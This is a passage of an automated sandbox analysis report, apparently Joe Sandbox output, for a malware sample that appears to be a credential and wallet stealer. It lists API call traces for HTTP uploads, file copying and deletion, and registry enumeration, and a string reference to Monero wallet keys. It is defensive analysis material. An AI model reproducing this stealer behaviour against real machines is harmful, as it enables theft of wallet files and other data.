lstrlen.KERNEL32(?), ref: 00D9AE0D
lstrlen.KERNEL32(?), ref: 00D9AE1C

Part of subcall function 00DAA740: lstrcpy.KERNEL32(00DB0E17,00000000), ref: 00DAA788

Part of subcall function 00DAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DAA7E6

DeleteFileA.KERNEL32(00000000), ref: 00D9AE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00D9ABD4

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcess
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4157063783-2709115261
Opcode ID: 8626ea519ca9385f60935aabc26ac4956da71630d9303ed6606e929f61af40b6
Instruction ID: 54f6045228d10c8170b9de346737f9d9db5d93b8b8ecb4419ada17b329dfe006
Opcode Fuzzy Hash: 8626ea519ca9385f60935aabc26ac4956da71630d9303ed6606e929f61af40b6
Instruction Fuzzy Hash: 98123D72910118ABCB44EBB8DD96EEE7379EF15300F504259F503A6091EF34AE09DBB6

Function 00D95960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00DAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DAA7E6

Part of subcall function 00D947B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00D94839
Part of subcall function 00D947B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00D94849

Part of subcall function 00DAA740: lstrcpy.KERNEL32(00DB0E17,00000000), ref: 00DAA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00D959F8
StrCmpCA.SHLWAPI(?,0194EED0), ref: 00D95A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00D95B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0194EF20,00000000,?,0194AF10,00000000,?,00DB1A1C), ref: 00D95E71
lstrlen.KERNEL32(00000000), ref: 00D95E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00D95E93
RtlAllocateHeap.NTDLL(00000000), ref: 00D95E9A
lstrlen.KERNEL32(00000000), ref: 00D95EAF
lstrlen.KERNEL32(00000000), ref: 00D95ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00D95EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00D95F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00D95F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00D95F4C
InternetCloseHandle.WININET(00000000), ref: 00D95FB0
InternetCloseHandle.WININET(00000000), ref: 00D95FBD
HttpOpenRequestA.WININET(00000000,0194EEE0,?,0194E4A0,00000000,00000000,00400100,00000000), ref: 00D95BF8

Part of subcall function 00DAA9B0: lstrlen.KERNEL32(?,019497D0,?,\Monero\wallet.keys,00DB0E17), ref: 00DAA9C5
Part of subcall function 00DAA9B0: lstrcpy.KERNEL32(00000000), ref: 00DAAA04
Part of subcall function 00DAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DAAA12

Part of subcall function 00DAA8A0: lstrcpy.KERNEL32(?,00DB0E17), ref: 00DAA905

Part of subcall function 00DAA920: lstrcpy.KERNEL32(00000000,?), ref: 00DAA972
Part of subcall function 00DAA920: lstrcat.KERNEL32(00000000), ref: 00DAA982

InternetCloseHandle.WININET(00000000), ref: 00D95FC7

Strings

------, xrefs: 00D95D4C
------, xrefs: 00D95A96
------, xrefs: 00D95C0B
", xrefs: 00D95E16
", xrefs: 00D95CD5

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 2b779d284faf4a927effe939200394d62c97afd1a8c5cd6d952c199d25d14005
Instruction ID: d55deaadbf3ee2b21a00554d2009eb62176ed3333d800c2fc6176283ebe3f752
Opcode Fuzzy Hash: 2b779d284faf4a927effe939200394d62c97afd1a8c5cd6d952c199d25d14005
Instruction Fuzzy Hash: 2E120B72920128AACB55EBB4DC95FEEB378FF15700F4042A9B10762091EF342A4ACF75

Function 00D9CEF0 Relevance: 30.4, APIs: 20, Instructions: 375
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00DAA740: lstrcpy.KERNEL32(00DB0E17,00000000), ref: 00DAA788

Part of subcall function 00DAA9B0: lstrlen.KERNEL32(?,019497D0,?,\Monero\wallet.keys,00DB0E17), ref: 00DAA9C5
Part of subcall function 00DAA9B0: lstrcpy.KERNEL32(00000000), ref: 00DAAA04
Part of subcall function 00DAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DAAA12

Part of subcall function 00DAA8A0: lstrcpy.KERNEL32(?,00DB0E17), ref: 00DAA905

Part of subcall function 00DA8B60: GetSystemTime.KERNEL32(00DB0E1A,0194AF40,00DB05AE,?,?,00D913F9,?,0000001A,00DB0E1A,00000000,?,019497D0,?,\Monero\wallet.keys,00DB0E17), ref: 00DA8B86

Part of subcall function 00DAA920: lstrcpy.KERNEL32(00000000,?), ref: 00DAA972
Part of subcall function 00DAA920: lstrcat.KERNEL32(00000000), ref: 00DAA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00D9CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00D9D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 00D9D0CE
lstrcat.KERNEL32(?,00000000), ref: 00D9D208
lstrcat.KERNEL32(?,00DB1478), ref: 00D9D217
lstrcat.KERNEL32(?,00000000), ref: 00D9D22A
lstrcat.KERNEL32(?,00DB147C), ref: 00D9D239
lstrcat.KERNEL32(?,00000000), ref: 00D9D24C
lstrcat.KERNEL32(?,00DB1480), ref: 00D9D25B
lstrcat.KERNEL32(?,00000000), ref: 00D9D26E
lstrcat.KERNEL32(?,00DB1484), ref: 00D9D27D
lstrcat.KERNEL32(?,00000000), ref: 00D9D290
lstrcat.KERNEL32(?,00DB1488), ref: 00D9D29F
lstrcat.KERNEL32(?,00000000), ref: 00D9D2B2
lstrcat.KERNEL32(?,00DB148C), ref: 00D9D2C1
lstrcat.KERNEL32(?,00000000), ref: 00D9D2D4
lstrcat.KERNEL32(?,00DB1490), ref: 00D9D2E3

Part of subcall function 00DAA820: lstrlen.KERNEL32(00D94F05,?,?,00D94F05,00DB0DDE), ref: 00DAA82B
Part of subcall function 00DAA820: lstrcpy.KERNEL32(00DB0DDE,00000000), ref: 00DAA885

lstrlen.KERNEL32(?), ref: 00D9D32A
lstrlen.KERNEL32(?), ref: 00D9D339

Part of subcall function 00DAAA70: StrCmpCA.SHLWAPI(019496C0,00D9A7A7,?,00D9A7A7,019496C0), ref: 00DAAA8F

DeleteFileA.KERNEL32(00000000), ref: 00D9D3B4

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 788ea88d64442923910230754dd491e139f8376fecad68ba2614c6e23a97dc59
Instruction ID: 6f26eb558ebc282246c773790498927372c0af7cfab2de4700911623a2a5148d
Opcode Fuzzy Hash: 788ea88d64442923910230754dd491e139f8376fecad68ba2614c6e23a97dc59
Instruction Fuzzy Hash: 92E15B72910108ABCB44EBB4DD96EEE7379FF15300F504259F107A6091EF35AA0ADB76

Function 00DA8320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00DAA740: lstrcpy.KERNEL32(00DB0E17,00000000), ref: 00DAA788

RegOpenKeyExA.KERNEL32(00000000,0194B988,00000000,00020019,00000000,00DB05B6), ref: 00DA83A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00DA8426
wsprintfA.USER32 ref: 00DA8459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00DA847B
RegCloseKey.ADVAPI32(00000000), ref: 00DA848C
RegCloseKey.ADVAPI32(00000000), ref: 00DA8499

Part of subcall function 00DAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DAA7E6

Strings

?, xrefs: 00DA837A
- , xrefs: 00DA85A3
%s\%s, xrefs: 00DA844D

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 21dba63202624fe2eb04539a64acd86e4575ebba618bb870e4218255dbdb954b
Instruction ID: 4759c10534b60ca1ffb52b57c8930d8797882d0d49bda1ce5ea8ae8e8c5ebb17
Opcode Fuzzy Hash: 21dba63202624fe2eb04539a64acd86e4575ebba618bb870e4218255dbdb954b
Instruction Fuzzy Hash: 28813C7191111CABEB64DB64CC81FEA77B9FF08700F008699E50AA6140DF746B85DFB5

Function 00D96280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00DAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DAA7E6

Part of subcall function 00D947B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00D94839
Part of subcall function 00D947B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00D94849

Part of subcall function 00DAA740: lstrcpy.KERNEL32(00DB0E17,00000000), ref: 00DAA788

InternetOpenA.WININET(00DB0DFE,00000001,00000000,00000000,00000000), ref: 00D962E1
StrCmpCA.SHLWAPI(?,0194EED0), ref: 00D96303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00D96335
HttpOpenRequestA.WININET(00000000,GET,?,0194E4A0,00000000,00000000,00400100,00000000), ref: 00D96385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00D963BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00D963D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00D963FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00D9646D
InternetCloseHandle.WININET(00000000), ref: 00D964EF
InternetCloseHandle.WININET(00000000), ref: 00D964F9
InternetCloseHandle.WININET(00000000), ref: 00D96503

Strings

ERROR, xrefs: 00D96407
GET, xrefs: 00D9637C
ERROR, xrefs: 00D964C9

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 261aae6ae6e739a39a679d5348db079e4a0902bf2ce4ab2bef3dbb5306e7e162
Instruction ID: 4bc28ae3300a1ca85cacc0999179a922ae6dc009a2658537eac81e05ed49abbc
Opcode Fuzzy Hash: 261aae6ae6e739a39a679d5348db079e4a0902bf2ce4ab2bef3dbb5306e7e162
Instruction Fuzzy Hash: 58715B71A00218EBDF24DFA4CC49BEE7779FB45700F108199F50A6B190DBB4AA85DF61

Function 00DA5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00DAA820: lstrlen.KERNEL32(00D94F05,?,?,00D94F05,00DB0DDE), ref: 00DAA82B
Part of subcall function 00DAA820: lstrcpy.KERNEL32(00DB0DDE,00000000), ref: 00DAA885

Part of subcall function 00DAA740: lstrcpy.KERNEL32(00DB0E17,00000000), ref: 00DAA788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00DA5644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00DA56A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00DA5857

Part of subcall function 00DAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DAA7E6

Part of subcall function 00DA51F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00DA5228

Part of subcall function 00DAA8A0: lstrcpy.KERNEL32(?,00DB0E17), ref: 00DAA905

Part of subcall function 00DA52C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00DA5318
Part of subcall function 00DA52C0: lstrlen.KERNEL32(00000000), ref: 00DA532F
Part of subcall function 00DA52C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00DA5364
Part of subcall function 00DA52C0: lstrlen.KERNEL32(00000000), ref: 00DA5383
Part of subcall function 00DA52C0: lstrlen.KERNEL32(00000000), ref: 00DA53AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00DA578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00DA5940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00DA5A0C
Sleep.KERNEL32(0000EA60), ref: 00DA5A1B

Strings

ERROR, xrefs: 00DA5693
ERROR, xrefs: 00DA59FE
ERROR, xrefs: 00DA5849
ERROR, xrefs: 00DA5932
ERROR, xrefs: 00DA577D
ERROR, xrefs: 00DA5636

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
